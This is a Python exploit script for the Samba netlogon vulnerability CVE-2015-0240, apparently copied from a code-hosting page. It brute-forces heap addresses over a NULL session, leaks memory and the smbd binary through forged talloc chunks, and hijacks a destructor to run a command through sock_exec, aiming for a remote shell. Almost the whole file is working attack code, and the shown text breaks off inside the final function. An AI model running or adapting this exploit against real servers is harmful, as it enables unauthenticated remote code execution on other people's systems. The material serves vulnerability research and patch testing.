911 lines
No EOL
35 KiB
Python
Executable file
911 lines
No EOL
35 KiB
Python
Executable file
#!/usr/bin/python
|
|
"""
|
|
Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya
|
|
|
|
The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by
|
|
ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()'
|
|
in libtalloc does not write a value on 'creds' address.
|
|
|
|
Reference:
|
|
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/
|
|
|
|
Note:
|
|
- heap might be changed while running exploit, need to try again (with '-hs' or '-pa' option)
|
|
if something failed
|
|
|
|
Find heap address:
|
|
- ubuntu PIE heap start range: b7700000 - b9800000
|
|
- start payload size: the bigger it is the lesser connection and binding time.
|
|
but need more time to shrink payload size
|
|
- payload is too big to fit in freed small hole. so payload is always at end
|
|
of heap
|
|
- start bruteforcing heap address from high memory address to low memory address
|
|
to prevent 'creds' pointed to real heap chunk (also no crash but not our payload)
|
|
|
|
Leak info:
|
|
- heap layout is predictable because talloc_stackframe_pool(8192) is called after
|
|
accepted connection and fork but before calling smbd_server_connection_loop_once()
|
|
- before talloc_stackframe_pool(8192) is called, there are many holes in heap
|
|
but their size are <8K. so pool is at the end of heap at this time
|
|
- many data that allocated after talloc_stackframe_pool(8192) are allocated in pool.
|
|
with the same pattern of request, the layout in pool are always the same.
|
|
- many data are not allocated in pool but fit in free holes. so no small size data are
|
|
allocated after pool.
|
|
- normally there are only few data block allocated after pool.
|
|
- pool size: 0x2048 (included glibc heap header 4 bytes)
|
|
- a table that created in giconv_open(). the size is 0x7f88 (included glibc heap header 4 bytes)
|
|
- p->in_data.pdu.data. the size is 0x10e8 (included glibc heap header 4 bytes)
|
|
- this might not be allocated here because its size might fit in freed hole
|
|
- all fragment should be same size to prevent talloc_realloc() changed pdu.data size
|
|
- so last fragment should be padded
|
|
- ndr DATA_BLOB. the size is 0x10d0 (included glibc heap header 4 bytes)
|
|
- this might not be allocated here because its size might fit in freed hole
|
|
- p->in_data.data.data. the size is our netlogon data
|
|
- for 8K payload, the size is 0x2168 (included glibc heap header 4 bytes)
|
|
- this data is allocated by realloc(), grew by each fragment. so this memory
|
|
block is not allocated by mmapped even the size is very big.
|
|
- pool layout for interested data
|
|
- r->out offset from pool (talloc header) is 0x13c0
|
|
- r->out.return_authenticator offset from pool is 0x13c0+0x18
|
|
- overwrite this (with link unlink) to leak info in ServerPasswordSet response
|
|
- smb_request offset from pool (talloc header) is 0x11a0
|
|
- smb_request.sconn offset from pool is 0x11a0+0x3c
|
|
- socket fd is at smb_request.sconn address (first struct member)
|
|
- more shared folder in configuration, more freed heap holes
|
|
- only if there is no or one shared, many data might be unexpected allocated after pool.
|
|
have to get that extra offset or bruteforce it
|
|
|
|
|
|
More exploitation detail in code (comment) ;)
|
|
"""
|
|
|
|
import sys
|
|
import time
|
|
from struct import pack,unpack
|
|
import argparse
|
|
|
|
import impacket
|
|
from impacket.dcerpc.v5 import transport, nrpc
|
|
from impacket.dcerpc.v5.ndr import NDRCALL
|
|
from impacket.dcerpc.v5.dtypes import WSTR
|
|
|
|
|
|
class Requester:
|
|
"""
|
|
put all smb request stuff into class. help my editor folding them
|
|
"""
|
|
|
|
# impacket does not implement NetrServerPasswordSet
|
|
# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
|
|
class NetrServerPasswordSet(NDRCALL):
|
|
opnum = 6
|
|
structure = (
|
|
('PrimaryName',nrpc.PLOGONSRV_HANDLE),
|
|
('AccountName',WSTR),
|
|
('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
|
|
('ComputerName',WSTR),
|
|
('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
|
|
('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
|
|
)
|
|
# response is authenticator (8 bytes) and error code (4 bytes)
|
|
|
|
# size of each field in sent packet
|
|
req_server_handle_size = 16
|
|
req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null
|
|
req_sec_type_size = 2
|
|
req_computer_size = 4 + 4 + 4 + 2
|
|
req_authenticator_size = 8 + 2 + 4
|
|
req_new_pwd_size = 16
|
|
req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size
|
|
|
|
samba_rpc_fragment_size = 4280
|
|
netlogon_data_fragment_size = samba_rpc_fragment_size - 8 - 24 # 24 is dcerpc header size
|
|
|
|
def __init__(self):
|
|
self.target = None
|
|
self.dce = None
|
|
|
|
sessionKey = '\x00'*16
|
|
# prepare ServerPasswordSet request
|
|
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
|
authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
|
|
authenticator['Timestamp'] = 10
|
|
|
|
uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
|
|
uasNewPass['Data'] = '\x00'*16
|
|
|
|
self.serverName = nrpc.PLOGONSRV_HANDLE()
|
|
# ReferentID field of PrimaryName controls the uninitialized value of creds
|
|
self.serverName.fields['ReferentID'] = 0
|
|
|
|
self.accountName = WSTR()
|
|
|
|
request = Requester.NetrServerPasswordSet()
|
|
request['PrimaryName'] = self.serverName
|
|
request['AccountName'] = self.accountName
|
|
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
|
|
request['ComputerName'] = '\x00'
|
|
request['Authenticator'] = authenticator
|
|
request['UasNewPassword'] = uasNewPass
|
|
self.request = request
|
|
|
|
def set_target(self, target):
|
|
self.target = target
|
|
|
|
def set_payload(self, s, pad_to_size=0):
|
|
if pad_to_size > 0:
|
|
s += '\x00'*(pad_to_size-len(s))
|
|
pad_size = 0
|
|
if len(s) < (16*1024+1):
|
|
ofsize = (len(s)+self.req_presize) % self.netlogon_data_fragment_size
|
|
if ofsize > 0:
|
|
pad_size = self.netlogon_data_fragment_size - ofsize
|
|
|
|
self.accountName.fields['Data'] = s+'\x00'*pad_size+'\x00\x00'
|
|
self.accountName.fields['MaximumCount'] = None
|
|
self.accountName.fields['ActualCount'] = None
|
|
self.accountName.data = None # force recompute
|
|
|
|
set_accountNameData = set_payload
|
|
|
|
def get_dce(self):
|
|
if self.dce is None or self.dce.lostconn:
|
|
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % self.target)
|
|
rpctransport.set_credentials('','') # NULL session
|
|
rpctransport.set_dport(445)
|
|
# force to 'NT LM 0.12' only
|
|
rpctransport.preferred_dialect('NT LM 0.12')
|
|
|
|
self.dce = rpctransport.get_dce_rpc()
|
|
self.dce.connect()
|
|
self.dce.bind(nrpc.MSRPC_UUID_NRPC)
|
|
self.dce.lostconn = False
|
|
return self.dce
|
|
|
|
def get_socket(self):
|
|
return self.dce.get_rpc_transport().get_socket()
|
|
|
|
def force_dce_disconnect(self):
|
|
if not (self.dce is None or self.dce.lostconn):
|
|
self.get_socket().close()
|
|
self.dce.lostconn = True
|
|
|
|
def request_addr(self, addr):
|
|
self.serverName.fields['ReferentID'] = addr
|
|
|
|
dce = self.get_dce()
|
|
try:
|
|
dce.call(self.request.opnum, self.request)
|
|
answer = dce.recv()
|
|
return unpack("<IIII", answer)
|
|
except impacket.nmb.NetBIOSError as e:
|
|
if e.args[0] != 'Error while reading from remote':
|
|
raise
|
|
dce.lostconn = True
|
|
return None
|
|
|
|
# call with no read
|
|
def call_addr(self, addr):
|
|
self.serverName.fields['ReferentID'] = addr
|
|
|
|
dce = self.get_dce()
|
|
try:
|
|
dce.call(self.request.opnum, self.request)
|
|
return True
|
|
except impacket.nmb.NetBIOSError as e:
|
|
if e.args[0] != 'Error while reading from remote':
|
|
raise
|
|
dce.lostconn = True
|
|
return False
|
|
|
|
def force_recv(self):
|
|
dce = self.get_dce()
|
|
return dce.get_rpc_transport().recv(forceRecv=True)
|
|
|
|
def request_check_valid_addr(self, addr):
|
|
answers = self.request_addr(addr)
|
|
if answers is None:
|
|
return False # connection lost
|
|
elif answers[3] != 0:
|
|
return True # error, expected
|
|
else:
|
|
raise Error('Unexpected result')
|
|
|
|
|
|
# talloc constants
|
|
TALLOC_MAGIC = 0xe8150c70 # for talloc 2.0
|
|
TALLOC_FLAG_FREE = 0x01
|
|
TALLOC_FLAG_LOOP = 0x02
|
|
TALLOC_FLAG_POOL = 0x04
|
|
TALLOC_FLAG_POOLMEM = 0x08
|
|
|
|
TALLOC_HDR_SIZE = 0x30 # for 32 bit
|
|
|
|
flag_loop = TALLOC_MAGIC | TALLOC_FLAG_LOOP # for checking valid address
|
|
|
|
# Note: do NOT reduce target_payload_size less than 8KB. 4KB is too small buffer. cannot predict address.
|
|
TARGET_PAYLOAD_SIZE = 8192
|
|
|
|
########
|
|
# request helper functions
|
|
########
|
|
|
|
# only one global requester
|
|
requester = Requester()
|
|
|
|
def force_dce_disconnect():
|
|
requester.force_dce_disconnect()
|
|
|
|
def request_addr(addr):
|
|
return requester.request_addr(addr)
|
|
|
|
def request_check_valid_addr(addr):
|
|
return requester.request_check_valid_addr(addr)
|
|
|
|
def set_payload(s, pad_to_size=0):
|
|
requester.set_payload(s, pad_to_size)
|
|
|
|
def get_socket():
|
|
return requester.get_socket()
|
|
|
|
def call_addr(addr):
|
|
return requester.call_addr(addr)
|
|
|
|
def force_recv():
|
|
return requester.force_recv()
|
|
|
|
########
|
|
# find heap address
|
|
########
|
|
|
|
# only refs MUST be NULL, other never be checked
|
|
fake_chunk_find_heap = pack("<IIIIIIII",
|
|
0, 0, 0, 0, # refs
|
|
flag_loop, flag_loop, flag_loop, flag_loop,
|
|
)
|
|
|
|
def find_valid_heap_addr(start_addr, stop_addr, payload_size, first=False):
|
|
"""
|
|
below code can be used for checking valid heap address (no crash)
|
|
|
|
if (unlikely(tc->flags & TALLOC_FLAG_LOOP)) {
|
|
/* we have a free loop - stop looping */
|
|
return 0;
|
|
}
|
|
"""
|
|
global fake_chunk_find_heap
|
|
payload = fake_chunk_find_heap*(payload_size/len(fake_chunk_find_heap))
|
|
set_payload(payload)
|
|
addr_step = payload_size
|
|
addr = start_addr
|
|
i = 0
|
|
while addr > stop_addr:
|
|
if i == 16:
|
|
print(" [*]trying addr: {:x}".format(addr))
|
|
i = 0
|
|
|
|
if request_check_valid_addr(addr):
|
|
return addr
|
|
if first:
|
|
# first time, the last 16 bit is still do not know
|
|
# have to do extra check
|
|
if request_check_valid_addr(addr+0x10):
|
|
return addr+0x10
|
|
addr -= addr_step
|
|
i += 1
|
|
return None
|
|
|
|
def find_valid_heap_exact_addr(addr, payload_size):
|
|
global fake_chunk_find_heap
|
|
fake_size = payload_size // 2
|
|
while fake_size >= len(fake_chunk_find_heap):
|
|
payload = fake_chunk_find_heap*(fake_size/len(fake_chunk_find_heap))
|
|
set_payload(payload, payload_size)
|
|
if not request_check_valid_addr(addr):
|
|
addr -= fake_size
|
|
fake_size = fake_size // 2
|
|
|
|
set_payload('\x00'*16 + pack("<I", flag_loop), payload_size)
|
|
# because glibc heap is align by 8
|
|
# so the last 4 bit of address must be 0x4 or 0xc
|
|
if request_check_valid_addr(addr-4):
|
|
addr -= 4
|
|
elif request_check_valid_addr(addr-0xc):
|
|
addr -= 0xc
|
|
else:
|
|
print(" [-] bad exact addr: {:x}".format(addr))
|
|
return 0
|
|
|
|
print(" [*] checking exact addr: {:x}".format(addr))
|
|
|
|
if (addr & 4) == 0:
|
|
return 0
|
|
|
|
# test the address
|
|
|
|
# must be invalid (refs is AccountName.ActualCount)
|
|
set_payload('\x00'*12 + pack("<I", flag_loop), payload_size)
|
|
if request_check_valid_addr(addr-4):
|
|
print(' [-] request_check_valid_addr(addr-4) failed')
|
|
return 0
|
|
# must be valid (refs is AccountName.Offset)
|
|
# do check again if fail. sometimes heap layout is changed
|
|
set_payload('\x00'*8 + pack("<I", flag_loop), payload_size)
|
|
if not request_check_valid_addr(addr-8) and not request_check_valid_addr(addr-8) :
|
|
print(' [-] request_check_valid_addr(addr-8) failed')
|
|
return 0
|
|
# must be invalid (refs is AccountName.MaxCount)
|
|
set_payload('\x00'*4 + pack("<I", flag_loop), payload_size)
|
|
if request_check_valid_addr(addr-0xc):
|
|
print(' [-] request_check_valid_addr(addr-0xc) failed')
|
|
return 0
|
|
# must be valid (refs is ServerHandle.ActualCount)
|
|
# do check again if fail. sometimes heap layout is changed
|
|
set_payload(pack("<I", flag_loop), payload_size)
|
|
if not request_check_valid_addr(addr-0x10) and not request_check_valid_addr(addr-0x10):
|
|
print(' [-] request_check_valid_addr(addr-0x10) failed')
|
|
return 0
|
|
|
|
return addr
|
|
|
|
def find_payload_addr(start_addr, start_payload_size, target_payload_size):
|
|
print('[*] bruteforcing heap address...')
|
|
|
|
start_addr = start_addr & 0xffff0000
|
|
|
|
heap_addr = 0
|
|
while heap_addr == 0:
|
|
# loop from max to 0xb7700000 for finding heap area
|
|
# offset 0x20000 is minimum offset from heap start to recieved data in heap
|
|
stop_addr = 0xb7700000 + 0x20000
|
|
good_addr = None
|
|
payload_size = start_payload_size
|
|
while payload_size >= target_payload_size:
|
|
force_dce_disconnect()
|
|
found_addr = None
|
|
for i in range(3):
|
|
found_addr = find_valid_heap_addr(start_addr, stop_addr, payload_size, good_addr is None)
|
|
if found_addr is not None:
|
|
break
|
|
if found_addr is None:
|
|
# failed
|
|
good_addr = None
|
|
break
|
|
good_addr = found_addr
|
|
print(" [*] found valid addr ({:d}KB): {:x}".format(payload_size//1024, good_addr))
|
|
start_addr = good_addr
|
|
stop_addr = good_addr - payload_size + 0x20
|
|
payload_size //= 2
|
|
|
|
if good_addr is not None:
|
|
# try 3 times to find exact address. if address cannot be found, assume
|
|
# minimizing payload size is not correct. start minimizing again
|
|
for i in range(3):
|
|
heap_addr = find_valid_heap_exact_addr(good_addr, target_payload_size)
|
|
if heap_addr != 0:
|
|
break
|
|
force_dce_disconnect()
|
|
|
|
if heap_addr == 0:
|
|
print(' [-] failed to find payload adress')
|
|
# start from last good address + some offset
|
|
start_addr = (good_addr + 0x10000) & 0xffff0000
|
|
print('[*] bruteforcing heap adress again from {:x}'.format(start_addr))
|
|
|
|
payload_addr = heap_addr - len(fake_chunk_find_heap)
|
|
print(" [+] found payload addr: {:x}".format(payload_addr))
|
|
return payload_addr
|
|
|
|
|
|
########
|
|
# leak info
|
|
########
|
|
|
|
def addr2utf_prefix(addr):
|
|
def is_badchar(v):
|
|
return (v >= 0xd8) and (v <= 0xdf)
|
|
|
|
prefix = 0 # safe
|
|
if is_badchar((addr)&0xff) or is_badchar((addr>>16)&0xff):
|
|
prefix |= 2 # cannot have prefix
|
|
if is_badchar((addr>>8)&0xff) or is_badchar((addr>>24)&0xff):
|
|
prefix |= 1 # must have prefix
|
|
return prefix
|
|
|
|
def leak_info_unlink(payload_addr, next_addr, prev_addr, retry=True, call_only=False):
|
|
"""
|
|
Note:
|
|
- if next_addr and prev_addr are not zero, they must be writable address
|
|
because of below code in _talloc_free_internal()
|
|
if (tc->prev) tc->prev->next = tc->next;
|
|
if (tc->next) tc->next->prev = tc->prev;
|
|
"""
|
|
# Note: U+D800 to U+DFFF is reserved (also bad char for samba)
|
|
# check if '\x00' is needed to avoid utf16 badchar
|
|
prefix_len = addr2utf_prefix(next_addr) | addr2utf_prefix(prev_addr)
|
|
if prefix_len == 3:
|
|
return None # cannot avoid badchar
|
|
if prefix_len == 2:
|
|
prefix_len = 0
|
|
|
|
fake_chunk_leak_info = pack("<IIIIIIIIIIII",
|
|
next_addr, prev_addr, # next, prev
|
|
0, 0, # parent, children
|
|
0, 0, # refs, destructor
|
|
0, 0, # name, size
|
|
TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag
|
|
0, 0, 0, # pool, pad, pad
|
|
)
|
|
payload = '\x00'*prefix_len+fake_chunk_leak_info + pack("<I", 0x80000) # pool_object_count
|
|
set_payload(payload, TARGET_PAYLOAD_SIZE)
|
|
if call_only:
|
|
return call_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len)
|
|
|
|
for i in range(3 if retry else 1):
|
|
try:
|
|
answers = request_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len)
|
|
except impacket.dcerpc.v5.rpcrt.Exception:
|
|
print("impacket.dcerpc.v5.rpcrt.Exception")
|
|
answers = None
|
|
force_dce_disconnect()
|
|
if answers is not None:
|
|
# leak info must have next or prev address
|
|
if (answers[1] == prev_addr) or (answers[0] == next_addr):
|
|
break
|
|
#print('{:x}, {:x}, {:x}, {:x}'.format(answers[0], answers[1], answers[2], answers[3]))
|
|
answers = None # no next or prev in answers => wrong answer
|
|
force_dce_disconnect() # heap is corrupted, disconnect it
|
|
|
|
return answers
|
|
|
|
def leak_info_addr(payload_addr, r_out_addr, leak_addr, retry=True):
|
|
# leak by replace r->out.return_authenticator pointer
|
|
# Note: because leak_addr[4:8] will be replaced with r_out_addr
|
|
# only answers[0] and answers[2] are leaked
|
|
return leak_info_unlink(payload_addr, leak_addr, r_out_addr, retry)
|
|
|
|
def leak_info_addr2(payload_addr, r_out_addr, leak_addr, retry=True):
|
|
# leak by replace r->out.return_authenticator pointer
|
|
# Note: leak_addr[0:4] will be replaced with r_out_addr
|
|
# only answers[1] and answers[2] are leaked
|
|
return leak_info_unlink(payload_addr, r_out_addr-4, leak_addr-4, retry)
|
|
|
|
def leak_uint8t_addr(payload_addr, r_out_addr, chunk_addr):
|
|
# leak name field ('uint8_t') in found heap chunk
|
|
# do not retry this leak, because r_out_addr is guessed
|
|
answers = leak_info_addr(payload_addr, r_out_addr, chunk_addr + 0x18, False)
|
|
if answers is None:
|
|
return None
|
|
if answers[2] != TALLOC_MAGIC:
|
|
force_dce_disconnect()
|
|
return None
|
|
|
|
return answers[0]
|
|
|
|
def leak_info_find_offset(info):
|
|
# offset from pool to payload still does not know
|
|
print("[*] guessing 'r' offset and leaking 'uint8_t' address ...")
|
|
chunk_addr = info['chunk_addr']
|
|
uint8t_addr = None
|
|
r_addr = None
|
|
r_out_addr = None
|
|
while uint8t_addr is None:
|
|
# 0x8c10 <= 4 + 0x7f88 + 0x2044 - 0x13c0
|
|
# 0x9ce0 <= 4 + 0x7f88 + 0x10d0 + 0x2044 - 0x13c0
|
|
# 0xadc8 <= 4 + 0x7f88 + 0x10e8 + 0x10d0 + 0x2044 - 0x13c0
|
|
# 0xad40 is extra offset when no share on debian
|
|
# 0x10d38 is extra offset when only [printers] is shared on debian
|
|
for offset in (0x8c10, 0x9ce0, 0xadc8, 0xad40, 0x10d38):
|
|
r_addr = chunk_addr - offset
|
|
# 0x18 is out.authenticator offset
|
|
r_out_addr = r_addr + 0x18
|
|
print(" [*] try 'r' offset 0x{:x}, r_out addr: 0x{:x}".format(offset, r_out_addr))
|
|
|
|
uint8t_addr = leak_uint8t_addr(info['payload_addr'], r_out_addr, chunk_addr)
|
|
if uint8t_addr is not None:
|
|
print(" [*] success")
|
|
break
|
|
print(" [-] failed")
|
|
if uint8t_addr is None:
|
|
return False
|
|
|
|
info['uint8t_addr'] = uint8t_addr
|
|
info['r_addr'] = r_addr
|
|
info['r_out_addr'] = r_out_addr
|
|
info['pool_addr'] = r_addr - 0x13c0
|
|
|
|
print(" [+] text 'uint8_t' addr: {:x}".format(info['uint8t_addr']))
|
|
print(" [+] pool addr: {:x}".format(info['pool_addr']))
|
|
|
|
return True
|
|
|
|
def leak_sock_fd(info):
|
|
# leak sock fd from
|
|
# smb_request->sconn->sock
|
|
# (offset: ->0x3c ->0x0 )
|
|
print("[*] leaking socket fd ...")
|
|
info['smb_request_addr'] = info['pool_addr']+0x11a0
|
|
print(" [*] smb request addr: {:x}".format(info['smb_request_addr']))
|
|
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr']+0x3c-4)
|
|
if answers is None:
|
|
print(' [-] cannot leak sconn_addr address :(')
|
|
return None
|
|
force_dce_disconnect() # heap is corrupted, disconnect it
|
|
sconn_addr = answers[2]
|
|
info['sconn_addr'] = sconn_addr
|
|
print(' [+] sconn addr: {:x}'.format(sconn_addr))
|
|
|
|
# write in padding of chunk, no need to disconnect
|
|
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], sconn_addr)
|
|
if answers is None:
|
|
print('cannot leak sock_fd address :(')
|
|
return None
|
|
sock_fd = answers[1]
|
|
print(' [+] sock fd: {:d}'.format(sock_fd))
|
|
info['sock_fd'] = sock_fd
|
|
return sock_fd
|
|
|
|
def leak_talloc_pop_addr(info):
|
|
# leak destructor talloc_pop() address
|
|
# overwrite name field, no need to disconnect
|
|
print('[*] leaking talloc_pop address')
|
|
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], info['pool_addr'] + 0x14)
|
|
if answers is None:
|
|
print(' [-] cannot leak talloc_pop() address :(')
|
|
return None
|
|
if answers[2] != 0x2010: # chunk size must be 0x2010
|
|
print(' [-] cannot leak talloc_pop() address. answers[2] is wrong :(')
|
|
return None
|
|
talloc_pop_addr = answers[0]
|
|
print(' [+] talloc_pop addr: {:x}'.format(talloc_pop_addr))
|
|
info['talloc_pop_addr'] = talloc_pop_addr
|
|
return talloc_pop_addr
|
|
|
|
def leak_smbd_server_connection_handler_addr(info):
|
|
# leak address from
|
|
# smbd_server_connection.smb1->fde ->handler
|
|
# (offset: ->0x9c->0x14 )
|
|
# MUST NOT disconnect after getting smb1_fd_event address
|
|
print('[*] leaking smbd_server_connection_handler address')
|
|
def real_leak_conn_handler_addr(info):
|
|
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['sconn_addr'] + 0x9c)
|
|
if answers is None:
|
|
print(' [-] cannot leak smb1_fd_event address :(')
|
|
return None
|
|
smb1_fd_event_addr = answers[1]
|
|
print(' [*] smb1_fd_event addr: {:x}'.format(smb1_fd_event_addr))
|
|
|
|
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], smb1_fd_event_addr+0x14)
|
|
if answers is None:
|
|
print(' [-] cannot leak smbd_server_connection_handler address :(')
|
|
return None
|
|
force_dce_disconnect() # heap is corrupted, disconnect it
|
|
smbd_server_connection_handler_addr = answers[0]
|
|
diff = info['talloc_pop_addr'] - smbd_server_connection_handler_addr
|
|
if diff > 0x2000000 or diff < 0:
|
|
print(' [-] get wrong smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr))
|
|
smbd_server_connection_handler_addr = None
|
|
return smbd_server_connection_handler_addr
|
|
|
|
smbd_server_connection_handler_addr = None
|
|
while smbd_server_connection_handler_addr is None:
|
|
smbd_server_connection_handler_addr = real_leak_conn_handler_addr(info)
|
|
|
|
print(' [+] smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr))
|
|
info['smbd_server_connection_handler_addr'] = smbd_server_connection_handler_addr
|
|
|
|
return smbd_server_connection_handler_addr
|
|
|
|
def find_smbd_base_addr(info):
|
|
# estimate smbd_addr from talloc_pop
|
|
if (info['talloc_pop_addr'] & 0xf) != 0 or (info['smbd_server_connection_handler_addr'] & 0xf) != 0:
|
|
# code has no alignment
|
|
start_addr = info['smbd_server_connection_handler_addr'] - 0x124000
|
|
else:
|
|
start_addr = info['smbd_server_connection_handler_addr'] - 0x130000
|
|
start_addr = start_addr & 0xfffff000
|
|
stop_addr = start_addr - 0x20000
|
|
|
|
print('[*] finding smbd loaded addr ...')
|
|
while True:
|
|
smbd_addr = start_addr
|
|
while smbd_addr >= stop_addr:
|
|
if addr2utf_prefix(smbd_addr-8) == 3:
|
|
# smbd_addr is 0xb?d?e000
|
|
test_addr = smbd_addr - 0x800 - 4
|
|
else:
|
|
test_addr = smbd_addr - 8
|
|
# test writable on test_addr
|
|
answers = leak_info_addr(info['payload_addr'], 0, test_addr, retry=False)
|
|
if answers is not None:
|
|
break
|
|
smbd_addr -= 0x1000 # try prev page
|
|
if smbd_addr > stop_addr:
|
|
break
|
|
print(' [-] failed. try again.')
|
|
|
|
info['smbd_addr'] = smbd_addr
|
|
print(' [+] found smbd loaded addr: {:x}'.format(smbd_addr))
|
|
|
|
def dump_mem_call_addr(info, target_addr):
|
|
# leak pipes_struct address from
|
|
# smbd_server_connection->chain_fsp->fake_file_handle->private_data
|
|
# (offset: ->0x48 ->0xd4 ->0x4 )
|
|
# Note:
|
|
# - MUST NOT disconnect because chain_fsp,fake_file_handle,pipes_struct address will be changed
|
|
# - target_addr will be replaced with current_pdu_sent address
|
|
# check read_from_internal_pipe() in source3/rpc_server/srv_pipe_hnd.c
|
|
print(' [*] overwrite current_pdu_sent for dumping memory ...')
|
|
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr'] + 0x48)
|
|
if answers is None:
|
|
print(' [-] cannot leak chain_fsp address :(')
|
|
return False
|
|
chain_fsp_addr = answers[1]
|
|
print(' [*] chain_fsp addr: {:x}'.format(chain_fsp_addr))
|
|
|
|
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], chain_fsp_addr+0xd4, retry=False)
|
|
if answers is None:
|
|
print(' [-] cannot leak fake_file_handle address :(')
|
|
return False
|
|
fake_file_handle_addr = answers[0]
|
|
print(' [*] fake_file_handle addr: {:x}'.format(fake_file_handle_addr))
|
|
|
|
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], fake_file_handle_addr+0x4-0x4, retry=False)
|
|
if answers is None:
|
|
print(' [-] cannot leak pipes_struct address :(')
|
|
return False
|
|
pipes_struct_addr = answers[2]
|
|
print(' [*] pipes_struct addr: {:x}'.format(pipes_struct_addr))
|
|
|
|
current_pdu_sent_addr = pipes_struct_addr+0x84
|
|
print(' [*] current_pdu_sent addr: {:x}'.format(current_pdu_sent_addr))
|
|
# change pipes->out_data.current_pdu_sent to dump memory
|
|
return leak_info_unlink(info['payload_addr'], current_pdu_sent_addr-4, target_addr, call_only=True)
|
|
|
|
def dump_smbd_find_bininfo(info):
|
|
def recv_till_string(data, s):
|
|
pos = len(data)
|
|
while True:
|
|
data += force_recv()
|
|
if len(data) == pos:
|
|
print('no more data !!!')
|
|
return None
|
|
p = data.find(s, pos-len(s))
|
|
if p != -1:
|
|
return (data, p)
|
|
pos = len(data)
|
|
return None
|
|
|
|
def lookup_dynsym(dynsym, name_offset):
|
|
addr = 0
|
|
i = 0
|
|
offset_str = pack("<I", name_offset)
|
|
while i < len(dynsym):
|
|
if dynsym[i:i+4] == offset_str:
|
|
addr = unpack("<I", dynsym[i+4:i+8])[0]
|
|
break
|
|
i += 16
|
|
return addr
|
|
|
|
print('[*] dumping smbd ...')
|
|
dump_call = False
|
|
# have to minus from smbd_addr because code section is read-only
|
|
if addr2utf_prefix(info['smbd_addr']-4) == 3:
|
|
# smbd_addr is 0xb?d?e000
|
|
dump_addr = info['smbd_addr'] - 0x800 - 4
|
|
else:
|
|
dump_addr = info['smbd_addr'] - 4
|
|
for i in range(8):
|
|
if dump_mem_call_addr(info, dump_addr):
|
|
mem = force_recv()
|
|
if len(mem) == 4280:
|
|
dump_call = True
|
|
break
|
|
print(' [-] dump_mem_call_addr failed. try again')
|
|
force_dce_disconnect()
|
|
if not dump_call:
|
|
print(' [-] dump smbd failed')
|
|
return False
|
|
|
|
print(' [+] dump success. getting smbd ...')
|
|
# first time, remove any data before \7fELF
|
|
mem = mem[mem.index('\x7fELF'):]
|
|
|
|
mem, pos = recv_till_string(mem, '\x00__gmon_start__\x00')
|
|
print(' [*] found __gmon_start__ at {:x}'.format(pos+1))
|
|
|
|
pos = mem.rfind('\x00\x00', 0, pos-1)
|
|
dynstr_offset = pos+1
|
|
print(' [*] found .dynstr section at {:x}'.format(dynstr_offset))
|
|
|
|
dynstr = mem[dynstr_offset:]
|
|
mem = mem[:dynstr_offset]
|
|
|
|
# find start of .dynsym section
|
|
pos = len(mem) - 16
|
|
while pos > 0:
|
|
if mem[pos:pos+16] == '\x00'*16:
|
|
break
|
|
pos -= 16 # sym entry size is 16 bytes
|
|
if pos <= 0:
|
|
print(' [-] found wrong .dynsym section at {:x}'.format(pos))
|
|
return None
|
|
dynsym_offset = pos
|
|
print(' [*] found .dynsym section at {:x}'.format(dynsym_offset))
|
|
dynsym = mem[dynsym_offset:]
|
|
|
|
# find sock_exec
|
|
dynstr, pos = recv_till_string(dynstr, '\x00sock_exec\x00')
|
|
print(' [*] found sock_exec string at {:x}'.format(pos+1))
|
|
sock_exec_offset = lookup_dynsym(dynsym, pos+1)
|
|
print(' [*] sock_exec offset {:x}'.format(sock_exec_offset))
|
|
|
|
#info['mem'] = mem # smbd data before .dynsym section
|
|
info['dynsym'] = dynsym
|
|
info['dynstr'] = dynstr # incomplete section
|
|
info['sock_exec_addr'] = info['smbd_addr']+sock_exec_offset
|
|
print(' [+] sock_exec addr: {:x}'.format(info['sock_exec_addr']))
|
|
|
|
# Note: can continuing memory dump to find ROP
|
|
|
|
force_dce_disconnect()
|
|
|
|
########
|
|
# code execution
|
|
########
|
|
def call_sock_exec(info):
|
|
prefix_len = addr2utf_prefix(info['sock_exec_addr'])
|
|
if prefix_len == 3:
|
|
return False # too bad... cannot call
|
|
if prefix_len == 2:
|
|
prefix_len = 0
|
|
fake_talloc_chunk_exec = pack("<IIIIIIIIIIII",
|
|
0, 0, # next, prev
|
|
0, 0, # parent, child
|
|
0, # refs
|
|
info['sock_exec_addr'], # destructor
|
|
0, 0, # name, size
|
|
TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag
|
|
0, 0, 0, # pool, pad, pad
|
|
)
|
|
chunk = '\x00'*prefix_len+fake_talloc_chunk_exec + info['cmd'] + '\x00'
|
|
set_payload(chunk, TARGET_PAYLOAD_SIZE)
|
|
for i in range(3):
|
|
if request_check_valid_addr(info['payload_addr']+TALLOC_HDR_SIZE+prefix_len):
|
|
print('waiting for shell :)')
